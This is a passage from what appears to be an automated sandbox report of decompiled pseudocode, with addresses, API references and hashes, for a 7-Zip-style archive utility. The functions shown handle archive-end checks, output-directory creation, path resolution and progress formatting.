											continue;
										}
										__eflags =  *((char*)(_t251 + 0x5c)) - 0x4c;
										if(__eflags != 0) {
											_push(E00438EA7(_t253 - 0x40, __eflags, 0x2f));
											 *((char*)(_t253 - 4)) = 1;
											_t156 = E0040AFFE(_t253 - 0x4c, _t253 - 0x1c);
											_push(_t251);
											 *((char*)(_t253 - 4)) = 2;
											_t157 = E0040AFFE(_t253 - 0x34, _t156);
											 *((char*)(_t253 - 4)) = 3;
											L00407E17(_t251, _t157);
											L00407A18( *((intOrPtr*)(_t253 - 0x34)));
											L00407A18( *((intOrPtr*)(_t253 - 0x4c)));
											L00407A18( *((intOrPtr*)(_t253 - 0x40)));
										}
										goto L33;
									}
									goto L33;
								}
								goto L26;
							}
						}
						_push("There are data after end of archive");
						goto L12;
					}
					 *(_t253 + 0xf) = 1;
					 *((intOrPtr*)(_t253 - 0x10)) = 0x200;
					_t109 = L0040FA74( *((intOrPtr*)(_t253 - 0x28)), _t253 - 0x24c, _t253 - 0x10);
					if(_t109 == 0) {
						continue;
					}
					goto L41;
				}
				__eflags =  *(_t253 + 0xf);
				if( *(_t253 + 0xf) != 0) {
					goto L13;
				}
				_push("There are no trailing zero-filled records");
				goto L12;
			}

0x00438a33
0x00438a41
0x00438a44
0x00438a48
0x00438a4d
0x00438a56
0x00438a59
0x00438a5c
0x00438a69
0x00438a6c
0x00438a73
0x00438dc2
0x00438dc8
0x00438dd0
0x00438dd0
0x00438a79
0x00438a7c
0x00438a85
0x00438ac8
0x00438ada
0x00438adc
0x00438ae1
0x00438ae1
0x00000000
0x00438ae1
0x00438a87
0x00438a97
0x00438acf
0x00438ad3
0x00438ae8
0x00438aeb
0x00438af2
0x00438b00
0x00438b03
0x00438b06
0x00438b0b
0x00438b0d
0x00438cdc
0x00438cde
0x00000000
0x00438cde
0x00438b13
0x00438b1f
0x00438b24
0x00438b26
0x00438b28
0x00438b28
0x00438b28
0x00438b2b
0x00438b37
0x00438b3c
0x00438b3e
0x00438b40
0x00438b40
0x00438b40
0x00438b6e
0x00438b73
0x00438b76
0x00438b79
0x00438be5
0x00438be8
0x00438bef
0x00438bf4
0x00438bf6
0x00000000
0x00000000
0x00000000
0x00438b7b
0x00438bd9
0x00438bde
0x00438be0
0x00438bfc
0x00438c05
0x00438c09
0x00438c0e
0x00438c10
0x00000000
0x00000000
0x00438c22
0x00438c27
0x00438c29
0x00000000
0x00000000
0x00438c3d
0x00438c4b
0x00438c51
0x00438c54
0x00438c5b
0x00438c66
0x00438c6c
0x00438c7d
0x00438c80
0x00438c81
0x00438c8f
0x00438c92
0x00438c93
0x00438c98
0x00438caa
0x00438cb1
0x00438cb6
0x00438cb8
0x00000000
0x00000000
0x00438cba
0x00438ccc
0x00438cd3
0x00438cd8
0x00438cda
0x00438ceb
0x00438cee
0x00438cf1
0x00438cf4
0x00438d08
0x00438d0b
0x00438d10
0x00438d13
0x00438d81
0x00438d81
0x00438d85
0x00438d87
0x00438d8a
0x00438d8c
0x00438d8c
0x00438d8f
0x00438d91
0x00438d91
0x00438d93
0x00438d9b
0x00438d9d
0x00438d9e
0x00438d9e
0x00438da5
0x00438da8
0x00438db2
0x00438db4
0x00438daa
0x00438daa
0x00438dac
0x00438dac
0x00438dba
0x00438dc0
0x00000000
0x00438dc0
0x00438d15
0x00438d15
0x00438d17
0x00438d17
0x00438d20
0x00438d23
0x00000000
0x00000000
0x00438d25
0x00438d26
0x00438d29
0x00000000
0x00000000
0x00438d2b
0x00438d2f
0x00438d3b
0x00438d42
0x00438d46
0x00438d4b
0x00438d51
0x00438d55
0x00438d5d
0x00438d61
0x00438d69
0x00438d71
0x00438d79
0x00438d7e
0x00000000
0x00438d2f
0x00000000
0x00438d17
0x00000000
0x00438cda
0x00438b79
0x00438ad5
0x00000000
0x00438ad5
0x00438aa6
0x00438aaa
0x00438aad
0x00438ab4
0x00000000
0x00000000
0x00000000
0x00438ab6
0x00438abb
0x00438abf
0x00000000
0x00000000
0x00438ac1
0x00000000

APIs

__EH_prolog.LIBCMT ref: 00438A33

Strings

There is no correct record at the end of archive, xrefs: 00438AC8
There are data after end of archive, xrefs: 00438AD5
There are no trailing zero-filled records, xrefs: 00438AC1

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: H_prolog
String ID: There are data after end of archive$There are no trailing zero-filled records$There is no correct record at the end of archive
API String ID: 3519838083-3898197850
Opcode ID: 71cddfdd285f745d8b51fa54c1b20132b8cf548e6abd3b685c3a927283027132
Instruction ID: 8a8560e65d813f7a5cec42f637569da3f69274a6d4fc9a9a4ce8affac6b4ac77
Opcode Fuzzy Hash: 71cddfdd285f745d8b51fa54c1b20132b8cf548e6abd3b685c3a927283027132
Instruction Fuzzy Hash: 92B10070D003599EDB21EB24C891BEEFBB4AF58304F0454AFF445A3282DB78AA49CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00416922 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 261
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00416922(intOrPtr __ecx, signed int __edx, void* __eflags) {
				intOrPtr* _t123;
				void* _t130;
				signed int _t144;
				signed int _t153;
				signed int _t156;
				intOrPtr _t158;
				signed int _t160;
				void* _t162;
				void* _t163;
				signed int _t169;
				signed int _t175;
				signed int _t180;
				signed int _t185;
				intOrPtr _t198;
				intOrPtr* _t208;
				signed int* _t227;
				intOrPtr* _t231;
				signed int* _t234;
				void* _t235;
				signed int _t236;
				void* _t238;

				L0046B890(E00474B3C, _t238);
				_t123 =  *((intOrPtr*)(_t238 + 0x20));
				_t185 = 0;
				 *_t123 = 0;
				 *((intOrPtr*)(_t123 + 4)) = 0;
				_t231 =  *((intOrPtr*)(__ecx));
				 *((intOrPtr*)(_t238 - 0x14)) = __ecx;
				 *(_t238 - 0x1c) = __edx;
				E00404AD0(_t238 - 0x58, 4);
				 *((intOrPtr*)(_t238 - 0x58)) = 0x47ab80;
				_t234 =  *(_t238 + 0x10);
				 *(_t238 - 4) = 0;
				if( *_t234 != 0) {
					L13:
					E00404AD0(_t238 - 0x6c, 4);
					 *((intOrPtr*)(_t238 - 0x6c)) = 0x47a420;
					 *(_t238 - 4) = 2;
					L004039C0(_t238 - 0x34,  &(_t234[4]));
					 *(_t238 - 4) = 3;
					L00403532(_t238 - 0x28, 0x48bb7c);
					 *(_t238 - 4) = 4;
					_t130 = E00417172(_t238 - 0x40,  *((intOrPtr*)(_t238 - 0x14)) + 0x10, __eflags);
					 *(_t238 - 4) = 5;
					E00416C31(_t238 - 0x34, _t238 - 0x28, _t130);
					L00407A18( *((intOrPtr*)(_t238 - 0x40)));
					 *(_t238 - 4) = 3;
					L00407A18( *(_t238 - 0x28));
					__eflags =  *((intOrPtr*)(_t238 - 0x30)) - _t185;
					if( *((intOrPtr*)(_t238 - 0x30)) == _t185) {
						L18:
						asm("sbb eax, eax");
						E00411C21( *((intOrPtr*)(_t238 + 0x18)),  ~( *_t234) &  *(_t238 - 0x1c),  *((intOrPtr*)(_t238 - 0x14)),  *((intOrPtr*)(_t238 + 0x14)), _t234[0], _t234[0], _t234[1], _t238 - 0x34, _t238 - 0x6c,  *((intOrPtr*)(_t238 + 8)),  *((intOrPtr*)(_t238 + 0xc)));
						_t227 =  &(_t234[7]);
						_t144 = E004192F5(_t231, _t227);
						__eflags = _t144 - _t185;
						 *(_t238 + 0x10) = _t144;
						if(_t144 == _t185) {
							__eflags = _t234[0] - _t185;
							if(_t234[0] == _t185) {
								L23:
								__eflags = 0;
							} else {
								__eflags = _t234[1] - _t185;
								if(_t234[1] != _t185) {
									goto L23;
								} else {
									_push(1);
									_pop(0);
								}
							}
							_push( *((intOrPtr*)(_t238 + 0x18)));
							__eflags =  *_t234 - _t185;
							_t198 =  *_t231;
							_push(0);
							if( *_t234 == _t185) {
								_t235 =  *((intOrPtr*)(_t198 + 0x1c))(_t231,  *((intOrPtr*)(_t238 - 0x4c)),  *((intOrPtr*)(_t238 - 0x50)));
							} else {
								_t235 =  *((intOrPtr*)(_t198 + 0x1c))(_t231, _t185, 0xffffffff);
								 *(_t238 - 0x44) = _t185;
								 *(_t238 - 0x42) = _t185;
								 *(_t238 - 4) = 0xa;
								_t156 =  *((intOrPtr*)( *_t231 + 0x20))(_t231, 0x2c, _t238 - 0x44);
								__eflags = _t156;
								if(_t156 == 0) {
									__eflags =  *(_t238 - 0x44) - 0x15;
									if( *(_t238 - 0x44) == 0x15) {
										L28:
										_t158 = E0040C5AD(_t238 - 0x44);
										_t208 =  *((intOrPtr*)(_t238 + 0x20));
										 *_t208 = _t158;
										 *(_t208 + 4) = _t227;
									} else {
										__eflags =  *(_t238 - 0x44) - 0x13;
										if( *(_t238 - 0x44) == 0x13) {
											goto L28;
										}
									}
								}
								 *(_t238 - 4) = 3;
								E0040C20F(_t238 - 0x44);
							}
							_t236 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t238 + 0x14)))) + 0x30))(_t235);
							L00407A18( *((intOrPtr*)(_t238 - 0x34)));
							 *((intOrPtr*)(_t238 - 0x6c)) = 0x47a420;
							 *(_t238 - 4) = 0xb;
						} else {
							L00407A18( *((intOrPtr*)(_t238 - 0x34)));
							 *((intOrPtr*)(_t238 - 0x6c)) = 0x47a420;
							_t236 =  *(_t238 + 0x10);
							 *(_t238 - 4) = 9;
						}
					} else {
						_t160 = E00409D7C( *((intOrPtr*)(_t238 - 0x34)));
						__eflags = _t160;
						if(_t160 != 0) {
							goto L18;
						} else {
							_t236 = GetLastError();
							__eflags = _t236 - _t185;
							if(_t236 == _t185) {
								_t236 = 0x80004005;
							}
							_t162 = L00403532(_t238 - 0x28, L"Can not create output directory ");
							_push(_t238 - 0x34);
							 *(_t238 - 4) = 6;
							_t163 = E0040B0A0(_t238 - 0x40, _t162);
							 *(_t238 - 4) = 7;
							E00401E26( *((intOrPtr*)(_t238 + 0x1c)), _t163);
							L00407A18( *((intOrPtr*)(_t238 - 0x40)));
							L00407A18( *(_t238 - 0x28));
							L00407A18( *((intOrPtr*)(_t238 - 0x34)));
							 *((intOrPtr*)(_t238 - 0x6c)) = 0x47a420;
							 *(_t238 - 4) = 8;
						}
					}
					E0040862D();
					 *(_t238 - 4) = _t185;
					E00408604(_t238 - 0x6c);
					goto L33;
				} else {
					_t169 =  *((intOrPtr*)( *_t231 + 0x14))(_t231, _t238 - 0x18);
					if(_t169 == 0) {
						__eflags =  *(_t238 - 0x18);
						 *((intOrPtr*)(_t238 - 0x10)) = 0;
						if( *(_t238 - 0x18) <= 0) {
							L9:
							__eflags =  *((intOrPtr*)(_t238 - 0x50)) - _t185;
							if( *((intOrPtr*)(_t238 - 0x50)) != _t185) {
								goto L13;
							} else {
								 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t238 + 0x14)))) + 0x2c))();
								goto L11;
							}
						} else {
							while(1) {
								 *(_t238 - 0x28) = _t185;
								 *(_t238 - 0x24) = _t185;
								 *(_t238 - 0x20) = _t185;
								E00401E9A(_t238 - 0x28, 3);
								_push(_t238 - 0x28);
								 *(_t238 - 4) = 1;
								_push( *((intOrPtr*)(_t238 - 0x10)));
								_t175 = L004179F7( *((intOrPtr*)(_t238 - 0x14)));
								__eflags = _t175 - _t185;
								if(_t175 != _t185) {
									break;
								}
								_t175 = L004179E9(_t238 + 0x13);
								__eflags = _t175 - _t185;
								if(_t175 != _t185) {
									break;
								} else {
									__eflags =  *((intOrPtr*)(_t238 + 0x13)) - _t185;
									_t180 = E00408E6D( *((intOrPtr*)(_t238 + 0x13)) - _t185, _t238 - 0x28, _t175 & 0xffffff00 |  *((intOrPtr*)(_t238 + 0x13)) == _t185);
									__eflags = _t180;
									if(_t180 != 0) {
										E00415C6D(_t238 - 0x58,  *((intOrPtr*)(_t238 - 0x10)));
									}
									 *(_t238 - 4) = _t185;
									L00407A18( *(_t238 - 0x28));
									 *((intOrPtr*)(_t238 - 0x10)) =  *((intOrPtr*)(_t238 - 0x10)) + 1;
									__eflags =  *((intOrPtr*)(_t238 - 0x10)) -  *(_t238 - 0x18);
									if( *((intOrPtr*)(_t238 - 0x10)) <  *(_t238 - 0x18)) {
										continue;
									} else {
										goto L9;
									}
								}
								goto L34;
							}
							_t236 = _t175;
							L00407A18( *(_t238 - 0x28));
							L33:
							_t117 = _t238 - 4;
							 *_t117 =  *(_t238 - 4) | 0xffffffff;
							__eflags =  *_t117;
							E00408604(_t238 - 0x58);
							_t153 = _t236;
						}
					} else {
						_t185 = _t169;
						L11:
						 *(_t238 - 4) =  *(_t238 - 4) | 0xffffffff;
						E00408604(_t238 - 0x58);
						_t153 = _t185;
					}
				}
				L34:
				 *[fs:0x0] =  *((intOrPtr*)(_t238 - 0xc));
				return _t153;
			}

0x00416927
0x0041692f
0x00416933
0x00416936
0x00416939
0x0041693c
0x0041693e
0x00416941
0x00416949
0x0041694e
0x00416955
0x00416958
0x0041695d
0x00416a25
0x00416a2a
0x00416a2f
0x00416a3d
0x00416a41
0x00416a4e
0x00416a52
0x00416a5d
0x00416a64
0x00416a71
0x00416a75
0x00416a7d
0x00416a85
0x00416a89
0x00416a8e
0x00416a93
0x00416b09
0x00416b30
0x00416b36
0x00416b3b
0x00416b40
0x00416b45
0x00416b47
0x00416b4a
0x00416b68
0x00416b6b
0x00416b77
0x00416b77
0x00416b6d
0x00416b6d
0x00416b70
0x00000000
0x00416b72
0x00416b72
0x00416b74
0x00416b74
0x00416b70
0x00416b79
0x00416b7c
0x00416b7e
0x00416b80
0x00416b81
0x00416bde
0x00416b83
0x00416b8a
0x00416b8c
0x00416b90
0x00416b9d
0x00416ba1
0x00416ba4
0x00416ba6
0x00416ba8
0x00416bad
0x00416bb6
0x00416bb9
0x00416bbe
0x00416bc1
0x00416bc3
0x00416baf
0x00416baf
0x00416bb4
0x00000000
0x00000000
0x00416bb4
0x00416bad
0x00416bc9
0x00416bcd
0x00416bcd
0x00416be9
0x00416bee
0x00416bf4
0x00416bfb
0x00416b4c
0x00416b4f
0x00416b55
0x00416b5c
0x00416b5f
0x00416b5f
0x00416a95
0x00416a98
0x00416a9d
0x00416a9f
0x00000000
0x00416aa1
0x00416aa7
0x00416aa9
0x00416aab
0x00416aad
0x00416aad
0x00416aba
0x00416ac4
0x00416ac8
0x00416acc
0x00416ad5
0x00416ad9
0x00416ae1
0x00416ae9
0x00416af1
0x00416af9
0x00416b00
0x00416b00
0x00416a9f
0x00416c02
0x00416c0a
0x00416c0d
0x00000000
0x00416963
0x0041696a
0x0041696f
0x00416978
0x0041697b
0x0041697e
0x004169f5
0x004169f5
0x004169f8
0x00000000
0x004169fa
0x004169ff
0x00000000
0x004169ff
0x00416980
0x00416980
0x00416985
0x00416988
0x0041698b
0x0041698e
0x00416999
0x0041699a
0x0041699e
0x004169a1
0x004169a6
0x004169a8
0x00000000
0x00000000
0x004169b3
0x004169b8
0x004169ba
0x00000000
0x004169bc
0x004169bc
0x004169ca
0x004169cf
0x004169d1
0x004169d9
0x004169d9
0x004169e1
0x004169e4
0x004169e9
0x004169f0
0x004169f3
0x00000000
0x00000000
0x00000000
0x00000000
0x004169f3
0x00000000
0x004169ba
0x00416a18
0x00416a1a
0x00416c12
0x00416c12
0x00416c12
0x00416c12
0x00416c19
0x00416c1e
0x00416c1e
0x00416971
0x00416971
0x00416a02
0x00416a02
0x00416a09
0x00416a0e
0x00416a0e
0x0041696f
0x00416c20
0x00416c26
0x00416c2e

APIs

__EH_prolog.LIBCMT ref: 00416927
GetLastError.KERNEL32(?,00000000,0048BB7C,?,00000004,00000004,?,00000000,00000000), ref: 00416AA1

Strings

Can not create output directory , xrefs: 00416AB2
59@, xrefs: 00416A2F, 00416AF9, 00416B15, 00416B55, 00416BF4

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: ErrorH_prologLast
String ID: 59@$Can not create output directory
API String ID: 1057991267-3326608674
Opcode ID: f2292c707d3a767c9d5494ee6e04a15d3dfbb60e6da503046bcf5461b8d4648b
Instruction ID: 6de5a34db444ab3dab8a47dd72c1d742a8883a30c047269dba67d70d491f02d0
Opcode Fuzzy Hash: f2292c707d3a767c9d5494ee6e04a15d3dfbb60e6da503046bcf5461b8d4648b
Instruction Fuzzy Hash: E0A1C171D04249EFCF10EFA4C9419EEBBB4AF18308F14446EE455B7291DB38AE45CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0040A28C Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E0040A28C(WCHAR* __ecx, WCHAR** __edx) {
				intOrPtr* _t69;
				signed char _t71;
				void* _t74;
				void* _t78;
				void* _t83;
				signed char _t89;
				WCHAR* _t92;
				WCHAR* _t94;
				long _t95;
				WCHAR* _t96;
				signed int _t97;
				WCHAR* _t100;
				long _t103;
				WCHAR* _t105;
				long _t106;
				WCHAR* _t115;
				signed int _t133;
				signed int _t136;
				WCHAR* _t138;
				signed int _t148;
				WCHAR* _t149;
				signed int* _t153;
				WCHAR** _t156;
				void* _t158;

				L0046B890(0x473b7c, _t158);
				_t156 = __edx;
				 *(_t158 - 0x10) = __ecx;
				 *((intOrPtr*)(__edx + 4)) = 0;
				 *((short*)( *((intOrPtr*)(__edx)))) = 0;
				if( *0x490a7c == 0) {
					 *((intOrPtr*)(_t158 - 0x28)) = 0;
					 *((intOrPtr*)(_t158 - 0x24)) = 0;
					 *((intOrPtr*)(_t158 - 0x20)) = 0;
					E00401EEE(_t158 - 0x28, 3);
					 *(_t158 - 4) = 0;
					_t69 = E00409AD5(_t158 - 0x4c,  *(_t158 - 0x10));
					_t153 =  *(_t158 + 8);
					 *(_t158 - 4) = 1;
					_t71 = E0040A20F( *_t69, _t158 - 0x28, _t153);
					asm("sbb bl, bl");
					 *(_t158 - 4) =  *(_t158 - 4) & 0x00000000;
					L00407A18( *((intOrPtr*)(_t158 - 0x4c)));
					__eflags =  ~_t71 + 1;
					if( ~_t71 + 1 == 0) {
						_t74 = E0040AF39(_t158 - 0x28, _t158 - 0x4c,  *_t153);
						 *(_t158 - 4) = 2;
						E004098A8(_t74);
						 *(_t158 - 4) = 4;
						L00407A18( *((intOrPtr*)(_t158 - 0x4c)));
						_t78 = E0040AF18(_t158 - 0x28, _t158 - 0x58,  *_t153);
						 *(_t158 - 4) = 5;
						E004098A8(_t78);
						 *(_t158 - 4) = 7;
						L00407A18( *((intOrPtr*)(_t158 - 0x58)));
						 *_t153 =  *(_t158 - 0x30);
						_push(_t158 - 0x40);
						_t83 = E0040B0A0(_t158 - 0x4c, _t158 - 0x34);
						 *(_t158 - 4) = 8;
						E00401E26(_t156, _t83);
						L00407A18( *((intOrPtr*)(_t158 - 0x4c)));
						L00407A18( *((intOrPtr*)(_t158 - 0x40)));
						L00407A18( *((intOrPtr*)(_t158 - 0x34)));
						L00407A18( *((intOrPtr*)(_t158 - 0x28)));
						goto L26;
					} else {
						L00407A18( *((intOrPtr*)(_t158 - 0x28)));
						goto L24;
					}
				} else {
					 *(_t158 - 0x18) = 0;
					if( *((intOrPtr*)(__edx + 8)) <= 0x104) {
						E00401E9A(__edx, 0x104);
					}
					_t92 =  *_t156;
					 *(_t158 - 0x1c) = _t92;
					 *(_t158 - 0x14) = GetFullPathNameW( *(_t158 - 0x10), 0x105, _t92, _t158 - 0x18);
					_t94 =  *_t156;
					_t133 = 0;
					if( *_t94 != 0) {
						_t149 = _t94;
						do {
							_t133 = _t133 + 1;
							_t149 =  &(_t149[1]);
						} while ( *_t149 != 0);
					}
					_t94[_t133] = 0;
					_t95 =  *(_t158 - 0x14);
					_t156[1] = _t133;
					if(_t95 == 0) {
						L24:
						_t89 = 0;
					} else {
						if(_t95 < 0x104) {
							L15:
							_t96 =  *(_t158 - 0x18);
							if(_t96 != 0) {
								_t97 = _t96 -  *(_t158 - 0x1c);
								__eflags = _t97;
								 *( *(_t158 + 8)) = _t97 >> 1;
							} else {
								_t100 =  *(_t158 - 0x10);
								_t136 = 0;
								while( *_t100 != 0) {
									_t136 = _t136 + 1;
									_t100 =  &(_t100[1]);
								}
								 *( *(_t158 + 8)) = _t136;
							}
							E0040A4A1( *(_t158 - 0x10), _t156, __eflags);
							L26:
							_t89 = 1;
						} else {
							_t103 = _t95 + 1;
							 *(_t158 - 0x14) = _t103;
							_t104 = _t103 + 1;
							if(_t103 + 1 >= _t156[2]) {
								E00401E9A(_t156, _t104);
							}
							_t105 =  *_t156;
							 *(_t158 - 0x1c) = _t105;
							_t106 = GetFullPathNameW( *(_t158 - 0x10),  *(_t158 - 0x14), _t105, _t158 - 0x18);
							_t138 =  *_t156;
							_t148 = 0;
							if( *_t138 != 0) {
								_t115 = _t138;
								do {
									_t148 = _t148 + 1;
									_t115 =  &(_t115[1]);
								} while ( *_t115 != 0);
							}
							_t138[_t148] = 0;
							_t156[1] = _t148;
							if(_t106 == 0 || _t106 >  *(_t158 - 0x14)) {
								goto L24;
							} else {
								goto L15;
							}
						}
					}
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t158 - 0xc));
				return _t89;
			}

0x0040a291
0x0040a29b
0x0040a2a0
0x0040a2a5
0x0040a2a8
0x0040a2b2
0x0040a3a0
0x0040a3a3
0x0040a3a6
0x0040a3a9
0x0040a3b4
0x0040a3b7
0x0040a3be
0x0040a3c7
0x0040a3cb
0x0040a3d7
0x0040a3d9
0x0040a3df
0x0040a3e4
0x0040a3e7
0x0040a402
0x0040a40c
0x0040a410
0x0040a418
0x0040a41c
0x0040a42b
0x0040a435
0x0040a439
0x0040a441
0x0040a445
0x0040a44e
0x0040a453
0x0040a45a
0x0040a462
0x0040a466
0x0040a46e
0x0040a476
0x0040a47e
0x0040a486
0x00000000
0x0040a3e9
0x0040a3ec
0x00000000
0x0040a3f1
0x0040a2b8
0x0040a2bd
0x0040a2c3
0x0040a2c8
0x0040a2c8
0x0040a2cd
0x0040a2d8
0x0040a2e7
0x0040a2ea
0x0040a2ec
0x0040a2f1
0x0040a2f3
0x0040a2f5
0x0040a2f5
0x0040a2f7
0x0040a2f8
0x0040a2f5
0x0040a2fd
0x0040a301
0x0040a306
0x0040a309
0x0040a3f2
0x0040a3f2
0x0040a30f
0x0040a314
0x0040a365
0x0040a365
0x0040a36a
0x0040a382
0x0040a382
0x0040a38a
0x0040a36c
0x0040a36c
0x0040a36f
0x0040a371
0x0040a376
0x0040a378
0x0040a378
0x0040a37e
0x0040a37e
0x0040a391
0x0040a48e
0x0040a48e
0x0040a316
0x0040a316
0x0040a317
0x0040a31a
0x0040a31e
0x0040a323
0x0040a323
0x0040a328
0x0040a332
0x0040a338
0x0040a33a
0x0040a33c
0x0040a341
0x0040a343
0x0040a345
0x0040a345
0x0040a347
0x0040a348
0x0040a345
0x0040a34d
0x0040a353
0x0040a356
0x00000000
0x00000000
0x00000000
0x00000000
0x0040a356
0x0040a314
0x0040a309
0x0040a496
0x0040a49e

APIs

__EH_prolog.LIBCMT ref: 0040A291
GetFullPathNameW.KERNEL32(?,00000105,00000104,00000002,00000000,59@,00000000), ref: 0040A2E5
GetFullPathNameW.KERNEL32(?,?,00000001,00000002), ref: 0040A338

Part of subcall function 004098A8: AreFileApisANSI.KERNEL32(?,?,?,0040AA48,00000003,?,?,?,?,?,?,?), ref: 004098B4

Part of subcall function 0040B0A0: __EH_prolog.LIBCMT ref: 0040B0A5

Strings

59@, xrefs: 0040A29A

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: FullH_prologNamePath$ApisFile
String ID: 59@
API String ID: 1887739612-2780377667
Opcode ID: e984556f7341f834eb6f76e66d3e67b41fabcb05650be67429daeab63fa82d0f
Instruction ID: 0a5654e161e1f716a3f046905b73ad11417bb6cb1d0641c1b6b0c0ecaf941a14
Opcode Fuzzy Hash: e984556f7341f834eb6f76e66d3e67b41fabcb05650be67429daeab63fa82d0f
Instruction Fuzzy Hash: 53619A71E40209DFCB01EFA5C8419EEBBB5EF59304F10843EE452B7291DB785A518BAA

Uniqueness

Uniqueness Score: -1.00%

Function 004060D4 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 126
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004060D4(void* __ecx) {
				unsigned int _v8;
				void* _v12;
				char _v43;
				char _v44;
				char _v160;
				void* _t50;
				void* _t53;
				unsigned int _t54;
				intOrPtr* _t55;
				intOrPtr _t60;
				int _t62;
				int _t69;
				void* _t72;
				signed int _t73;
				signed int _t79;
				unsigned int _t80;
				void _t81;
				char _t85;
				unsigned int _t86;
				signed int _t87;
				signed int _t92;
				signed int _t97;
				signed int _t98;
				void* _t103;
				void* _t104;
				unsigned int _t105;
				signed int _t106;
				void* _t107;
				void* _t108;
				signed int _t109;
				void* _t111;
				void* _t112;
				void* _t115;
				void* _t118;
				void* _t121;
				void* _t122;
				void* _t123;

				_t121 = __ecx;
				_t110 =  *(__ecx + 0x18);
				_t71 =  *(__ecx + 0x1c);
				if(( *(__ecx + 0x18) |  *(__ecx + 0x1c)) != 0) {
					_t50 = L0046B300(L0046B370( *((intOrPtr*)(__ecx + 0x10)),  *((intOrPtr*)(__ecx + 0x14)), 0x64, 0), _t103, _t110, _t71);
					_t111 = _t103;
				} else {
					_t50 = 0;
					_t111 = 0;
				}
				_t104 = 0xa;
				L004075FF( &_v44, _t104, _t50, _t111);
				_t53 = L0046B400( &_v44);
				 *((char*)(_t122 + _t53 - 0x28)) = 0x25;
				 *(_t122 + _t53 - 0x27) =  *(_t122 + _t53 - 0x27) & 0x00000000;
				_t54 = _t53 + 1;
				_v8 = _t54;
				_t105 = 4;
				if(_t54 > _t105) {
					_t105 = _t54;
				}
				_t79 =  *(_t121 + 0x20);
				_t106 = _t105 + 2;
				if(_t106 < _t79) {
					_t106 = _t79;
				}
				_t72 =  &_v160;
				_v12 = _t72;
				if( *(_t121 + 0x20) == 0) {
					if(_t106 > 0) {
						_t97 = _t106;
						_t118 =  &_v160;
						_t98 = _t97 >> 2;
						_t69 = memset(_t118, 0x20202020, _t98 << 2);
						_t72 = _t122 + _t106 - 0x9c;
						_v12 = _t72;
						memset(_t118 + _t98, _t69, (_t97 & 0x00000003) << 0);
						_t123 = _t123 + 0x18;
						_t54 = _v8;
					}
					 *(_t121 + 0x20) = _t106;
				}
				_t80 =  *(_t121 + 0x20);
				if(_t80 > 0) {
					_t115 = _t72;
					_t73 = _t80;
					_t92 = _t80 >> 2;
					memset(_t115 + _t92, memset(_t115, 0x8080808, _t92 << 2), (_t73 & 0x00000003) << 0);
					_t123 = _t123 + 0x18;
					_t72 = _v12 + _t73;
					_t54 = _v8;
				}
				 *(_t121 + 0x20) = _t106;
				if(_t54 < _t106) {
					_t109 = _t106 - _t54;
					_t86 = _t109;
					_t112 = _t72;
					_v8 = _t86;
					_t87 = _t86 >> 2;
					_t62 = memset(_t112, 0x20202020, _t87 << 2);
